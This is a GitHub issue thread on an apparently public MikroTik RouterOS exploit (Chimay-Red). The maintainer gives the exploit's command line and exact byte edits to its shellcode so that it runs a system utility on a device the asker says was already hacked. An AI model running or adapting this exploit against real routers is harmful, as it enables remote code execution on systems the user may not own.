Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Got stuck rewriting shellcode #44

Open
Zveroloff opened this issue May 10, 2018 · 6 comments
Open

Got stuck rewriting shellcode #44

Zveroloff opened this issue May 10, 2018 · 6 comments

Comments

@Zveroloff
Copy link

Could you help with editing the shellcode? I want to send just /nova/bin/info, bypassing bash shell

@BigNerd95
Copy link
Owner

BigNerd95 commented May 10, 2018

Why do you want edit the shell code?
Just write this command:

./StackClash_mips.py 192.168.8.1 80 www_binary '/nova/bin/info "your_mikrotik_command" '

@Zveroloff
Copy link
Author

I want to rewrite it, because I'm dealing with already hacked device, and standard way is not working. Because the device is accessible by port 80 and reports the same (vulnerable) RouterOS version, my idea is to rewrite the shellcode to run just system utility, not bash. Possibly, the attackers made something to bash

@BigNerd95
Copy link
Owner

BigNerd95 commented May 11, 2018

So edit this line
https://github.com/BigNerd95/Chimay-Red/blob/master/StackClash_mips.py#L126
Replace

shell_code += b'/bin/bash\x00' 

with

shell_code += b'/nova/bin/info\x00' 

Edit line
https://github.com/BigNerd95/Chimay-Red/blob/master/StackClash_mips.py#L129
Replace

shell_code += b'-c\x00'

with

shell_code += b'\x20\x00'

Now you can use it:

./StackClash_mips.py 192.168.8.1 80 www_binary "your_mikrotik_command"

I didn't test this mods, but i think they will work

@Zveroloff
Copy link
Author

Thanks, I thought about this, but this way I'll get execve("/nova/bin/info", ["/nova/bin/info", " ", "user_command"]), is it normal to repeat executable in parameter array?

@BigNerd95
Copy link
Owner

...yes
http://man7.org/linux/man-pages/man2/execve.2.html

argv is an array of argument strings passed to the new program.  By
       convention, the first of these strings (i.e., argv[0]) should contain
       the filename associated with the file being executed.

@Zveroloff
Copy link
Author

Oh, thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants